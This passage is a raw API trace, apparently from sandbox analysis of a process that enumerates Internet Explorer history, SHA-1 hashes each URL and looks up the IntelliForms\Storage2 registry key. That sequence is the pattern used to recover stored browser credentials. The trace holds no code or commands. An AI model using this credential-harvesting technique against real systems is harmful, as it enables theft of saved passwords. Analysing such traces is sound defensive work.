[0098.151] CryptReleaseContext (hProv=0x444f060, dwFlags=0x0) returned 1 [0098.151] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0098.151] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0098.151] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0098.151] LocalFree (hMem=0x28e7910) returned 0x0 [0098.151] CoTaskMemFree (pv=0x442fe70) [0098.151] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0098.151] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/p0wZEr1Gdg6.xlsx", lpSrch="?") returned 0x0 [0098.151] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f060) returned 1 [0098.152] CryptCreateHash (in: hProv=0x444f060, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0098.152] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/p0wZEr1Gdg6.xlsx") returned 66 [0098.152] CryptHashData (hHash=0x4451450, pbData=0x4430da0, dwDataLen=0x86, dwFlags=0x0) returned 1 [0098.152] CryptGetHashParam (in: hHash=0x4451450, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0098.152] CryptDestroyHash (hHash=0x4451450) returned 1 [0098.152] CryptReleaseContext (hProv=0x444f060, dwFlags=0x0) returned 1 [0098.152] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0098.152] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0098.152] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0098.152] LocalFree (hMem=0x28e7670) returned 0x0 [0098.152] CoTaskMemFree (pv=0x4430da0) [0098.152] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0098.152] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Desktop/gt06Y_qsET.gif", lpSrch="?") returned 0x0 [0098.152] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f060) returned 1 [0098.153] CryptCreateHash (in: hProv=0x444f060, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0098.153] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Desktop/gt06Y_qsET.gif") returned 48 [0098.153] CryptHashData (hHash=0x4469e70, pbData=0x4469d20, dwDataLen=0x62, dwFlags=0x0) returned 1 [0098.153] CryptGetHashParam (in: hHash=0x4469e70, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0098.153] CryptDestroyHash (hHash=0x4469e70) returned 1 [0098.153] CryptReleaseContext (hProv=0x444f060, dwFlags=0x0) returned 1 [0098.153] CoTaskMemFree (pv=0x4469d20) [0098.153] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0098.153] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Videos/u4W7ouy80phhP-B9lpM.flv", lpSrch="?") returned 0x0 [0098.153] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f060) returned 1 [0098.154] CryptCreateHash (in: hProv=0x444f060, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0098.154] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Videos/u4W7ouy80phhP-B9lpM.flv") returned 56 [0098.154] CryptHashData (hHash=0x4469cb0, pbData=0x71e5220, dwDataLen=0x72, dwFlags=0x0) returned 1 [0098.154] CryptGetHashParam (in: hHash=0x4469cb0, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0098.154] CryptDestroyHash (hHash=0x4469cb0) returned 1 [0098.154] CryptReleaseContext (hProv=0x444f060, dwFlags=0x0) returned 1 [0098.154] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0098.154] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0098.154] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0098.154] LocalFree (hMem=0x28e7910) returned 0x0 [0098.154] CoTaskMemFree (pv=0x71e5220) [0098.154] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0098.154] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/AppData/Roaming/MpncdNiVe8l4XxDfPC.gif", lpSrch="?") returned 0x0 [0098.154] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f060) returned 1 [0098.155] CryptCreateHash (in: hProv=0x444f060, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0098.155] lstrlenW (lpString="file:///C:/Users/aETAdzjz/AppData/Roaming/MpncdNiVe8l4XxDfPC.gif") returned 64 [0098.155] CryptHashData (hHash=0x4469cb0, pbData=0x4430fe0, dwDataLen=0x82, dwFlags=0x0) returned 1 [0098.155] CryptGetHashParam (in: hHash=0x4469cb0, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0098.155] CryptDestroyHash (hHash=0x4469cb0) returned 1 [0098.155] CryptReleaseContext (hProv=0x444f060, dwFlags=0x0) returned 1 [0098.155] CoTaskMemFree (pv=0x4430fe0) [0098.155] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0098.155] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Documents/Imdq5H_.pdf", lpSrch="?") returned 0x0 [0098.155] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f060) returned 1 [0098.156] CryptCreateHash (in: hProv=0x444f060, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0098.156] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Documents/Imdq5H_.pdf") returned 47 [0098.156] CryptHashData (hHash=0x4434f90, pbData=0x4435850, dwDataLen=0x60, dwFlags=0x0) returned 1 [0098.156] CryptGetHashParam (in: hHash=0x4434f90, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0098.156] CryptDestroyHash (hHash=0x4434f90) returned 1 [0098.156] CryptReleaseContext (hProv=0x444f060, dwFlags=0x0) returned 1 [0098.156] CoTaskMemFree (pv=0x4435850) [0098.156] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0098.156] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Documents/AqfhNAWOaNpeMnbA.xlsx", lpSrch="?") returned 0x0 [0098.156] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f060) returned 1 [0098.157] CryptCreateHash (in: hProv=0x444f060, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0098.157] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Documents/AqfhNAWOaNpeMnbA.xlsx") returned 57 [0098.157] CryptHashData (hHash=0x4435af0, pbData=0x71e4b20, dwDataLen=0x74, dwFlags=0x0) returned 1 [0098.157] CryptGetHashParam (in: hHash=0x4435af0, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0098.157] CryptDestroyHash (hHash=0x4435af0) returned 1 [0098.157] CryptReleaseContext (hProv=0x444f060, dwFlags=0x0) returned 1 [0098.157] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0098.157] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0098.157] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0098.157] LocalFree (hMem=0x28e7670) returned 0x0 [0098.157] CoTaskMemFree (pv=0x71e4b20) [0098.157] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0098.157] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Pictures/4bv6e%200zL/Req5F_foHfyN.bmp", lpSrch="?") returned 0x0 [0098.157] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f060) returned 1 [0098.158] CryptCreateHash (in: hProv=0x444f060, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0098.158] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Pictures/4bv6e%200zL/Req5F_foHfyN.bmp") returned 63 [0098.158] CryptHashData (hHash=0x44514c0, pbData=0x442fa80, dwDataLen=0x80, dwFlags=0x0) returned 1 [0098.158] CryptGetHashParam (in: hHash=0x44514c0, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0098.158] CryptDestroyHash (hHash=0x44514c0) returned 1 [0098.158] CryptReleaseContext (hProv=0x444f060, dwFlags=0x0) returned 1 [0098.158] CoTaskMemFree (pv=0x442fa80) [0098.158] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0098.158] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/Z3zsui1f6tKO9.odt", lpSrch="?") returned 0x0 [0098.158] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f060) returned 1 [0098.159] CryptCreateHash (in: hProv=0x444f060, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0098.159] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/Z3zsui1f6tKO9.odt") returned 67 [0098.159] CryptHashData (hHash=0x4469bd0, pbData=0x7222c30, dwDataLen=0x88, dwFlags=0x0) returned 1 [0098.159] CryptGetHashParam (in: hHash=0x4469bd0, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0098.159] CryptDestroyHash (hHash=0x4469bd0) returned 1 [0098.159] CryptReleaseContext (hProv=0x444f060, dwFlags=0x0) returned 1 [0098.159] CoTaskMemFree (pv=0x7222c30) [0098.159] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0098.159] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Desktop/_q_M.mkv", lpSrch="?") returned 0x0 [0098.159] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f060) returned 1 [0098.160] CryptCreateHash (in: hProv=0x444f060, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0098.160] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Desktop/_q_M.mkv") returned 42 [0098.160] CryptHashData (hHash=0x4469bd0, pbData=0x71e39a0, dwDataLen=0x56, dwFlags=0x0) returned 1 [0098.160] CryptGetHashParam (in: hHash=0x4469bd0, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0098.160] CryptDestroyHash (hHash=0x4469bd0) returned 1 [0098.160] CryptReleaseContext (hProv=0x444f060, dwFlags=0x0) returned 1 [0098.160] CoTaskMemFree (pv=0x71e39a0) [0098.160] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0098.160] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Pictures/SjMh/xKrI%20YIsYZAMK3.gif", lpSrch="?") returned 0x0 [0098.160] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f060) returned 1 [0098.161] CryptCreateHash (in: hProv=0x444f060, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0098.161] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Pictures/SjMh/xKrI%20YIsYZAMK3.gif") returned 60 [0098.161] CryptHashData (hHash=0x4469bd0, pbData=0x7182b60, dwDataLen=0x7a, dwFlags=0x0) returned 1 [0098.161] CryptGetHashParam (in: hHash=0x4469bd0, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0098.161] CryptDestroyHash (hHash=0x4469bd0) returned 1 [0098.161] CryptReleaseContext (hProv=0x444f060, dwFlags=0x0) returned 1 [0098.161] CoTaskMemFree (pv=0x7182b60) [0098.161] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0098.161] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Documents/1Nbjb.csv", lpSrch="?") returned 0x0 [0098.161] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f060) returned 1 [0098.161] CryptCreateHash (in: hProv=0x444f060, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0098.161] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Documents/1Nbjb.csv") returned 45 [0098.162] CryptHashData (hHash=0x2dc800, pbData=0x2dbc30, dwDataLen=0x5c, dwFlags=0x0) returned 1 [0098.162] CryptGetHashParam (in: hHash=0x2dc800, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0098.162] CryptDestroyHash (hHash=0x2dc800) returned 1 [0098.162] CryptReleaseContext (hProv=0x444f060, dwFlags=0x0) returned 1 [0098.162] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0098.162] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0098.162] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0098.162] LocalFree (hMem=0x28e7910) returned 0x0 [0098.162] CoTaskMemFree (pv=0x2dbc30) [0098.162] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0098.162] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Desktop/Y8tzWbOK4nv/F9tvnzY%20y%20Ws6M.flv", lpSrch="?") returned 0x0 [0098.162] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f060) returned 1 [0098.163] CryptCreateHash (in: hProv=0x444f060, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0098.163] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Desktop/Y8tzWbOK4nv/F9tvnzY%20y%20Ws6M.flv") returned 68 [0098.163] CryptHashData (hHash=0x2dbc30, pbData=0x28c2ae0, dwDataLen=0x8a, dwFlags=0x0) returned 1 [0098.163] CryptGetHashParam (in: hHash=0x2dbc30, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0098.163] CryptDestroyHash (hHash=0x2dbc30) returned 1 [0098.163] CryptReleaseContext (hProv=0x444f060, dwFlags=0x0) returned 1 [0098.163] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0098.163] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0098.163] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0098.163] LocalFree (hMem=0x28e7670) returned 0x0 [0098.163] CoTaskMemFree (pv=0x28c2ae0) [0098.163] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0098.163] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Desktop/cL5j2IsQXoG_m811.rtf", lpSrch="?") returned 0x0 [0098.163] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f060) returned 1 [0098.164] CryptCreateHash (in: hProv=0x444f060, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0098.164] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Desktop/cL5j2IsQXoG_m811.rtf") returned 54 [0098.164] CryptHashData (hHash=0x7202ff0, pbData=0x71e6ea0, dwDataLen=0x6e, dwFlags=0x0) returned 1 [0098.164] CryptGetHashParam (in: hHash=0x7202ff0, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0098.164] CryptDestroyHash (hHash=0x7202ff0) returned 1 [0098.164] CryptReleaseContext (hProv=0x444f060, dwFlags=0x0) returned 1 [0098.164] CoTaskMemFree (pv=0x71e6ea0) [0098.164] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0098.164] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Pictures/4bv6e%200zL/MVjmbl2VG-kil9l.bmp", lpSrch="?") returned 0x0 [0098.164] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f060) returned 1 [0098.165] CryptCreateHash (in: hProv=0x444f060, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0098.165] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Pictures/4bv6e%200zL/MVjmbl2VG-kil9l.bmp") returned 66 [0098.165] CryptHashData (hHash=0x72033e0, pbData=0x7185be0, dwDataLen=0x86, dwFlags=0x0) returned 1 [0098.165] CryptGetHashParam (in: hHash=0x72033e0, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0098.165] CryptDestroyHash (hHash=0x72033e0) returned 1 [0098.165] CryptReleaseContext (hProv=0x444f060, dwFlags=0x0) returned 1 [0098.165] CoTaskMemFree (pv=0x7185be0) [0098.165] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0098.165] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Desktop/CxnHb6T3sE6UOsni3FQS.bmp", lpSrch="?") returned 0x0 [0098.165] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f060) returned 1 [0098.165] CryptCreateHash (in: hProv=0x444f060, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0098.165] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Desktop/CxnHb6T3sE6UOsni3FQS.bmp") returned 58 [0098.166] CryptHashData (hHash=0x72033e0, pbData=0x71e6c20, dwDataLen=0x76, dwFlags=0x0) returned 1 [0098.166] CryptGetHashParam (in: hHash=0x72033e0, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0098.166] CryptDestroyHash (hHash=0x72033e0) returned 1 [0098.166] CryptReleaseContext (hProv=0x444f060, dwFlags=0x0) returned 1 [0098.166] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0098.166] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0098.166] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0098.166] LocalFree (hMem=0x28e7910) returned 0x0 [0098.166] CoTaskMemFree (pv=0x71e6c20) [0098.166] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0098.166] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Documents/2B4wzDIgK8y.docx", lpSrch="?") returned 0x0 [0098.166] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f060) returned 1 [0098.167] CryptCreateHash (in: hProv=0x444f060, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0098.167] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Documents/2B4wzDIgK8y.docx") returned 52 [0098.167] CryptHashData (hHash=0x72033e0, pbData=0x71e7a20, dwDataLen=0x6a, dwFlags=0x0) returned 1 [0098.167] CryptGetHashParam (in: hHash=0x72033e0, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0098.167] CryptDestroyHash (hHash=0x72033e0) returned 1 [0098.167] CryptReleaseContext (hProv=0x444f060, dwFlags=0x0) returned 1 [0098.167] CoTaskMemFree (pv=0x71e7a20) [0098.167] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0098.167] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/AppData/Roaming/S4EkYkW8VR.bmp", lpSrch="?") returned 0x0 [0098.167] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f060) returned 1 [0098.167] CryptCreateHash (in: hProv=0x444f060, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0098.168] lstrlenW (lpString="file:///C:/Users/aETAdzjz/AppData/Roaming/S4EkYkW8VR.bmp") returned 56 [0098.168] CryptHashData (hHash=0x7202d50, pbData=0x71e66a0, dwDataLen=0x72, dwFlags=0x0) returned 1 [0098.168] 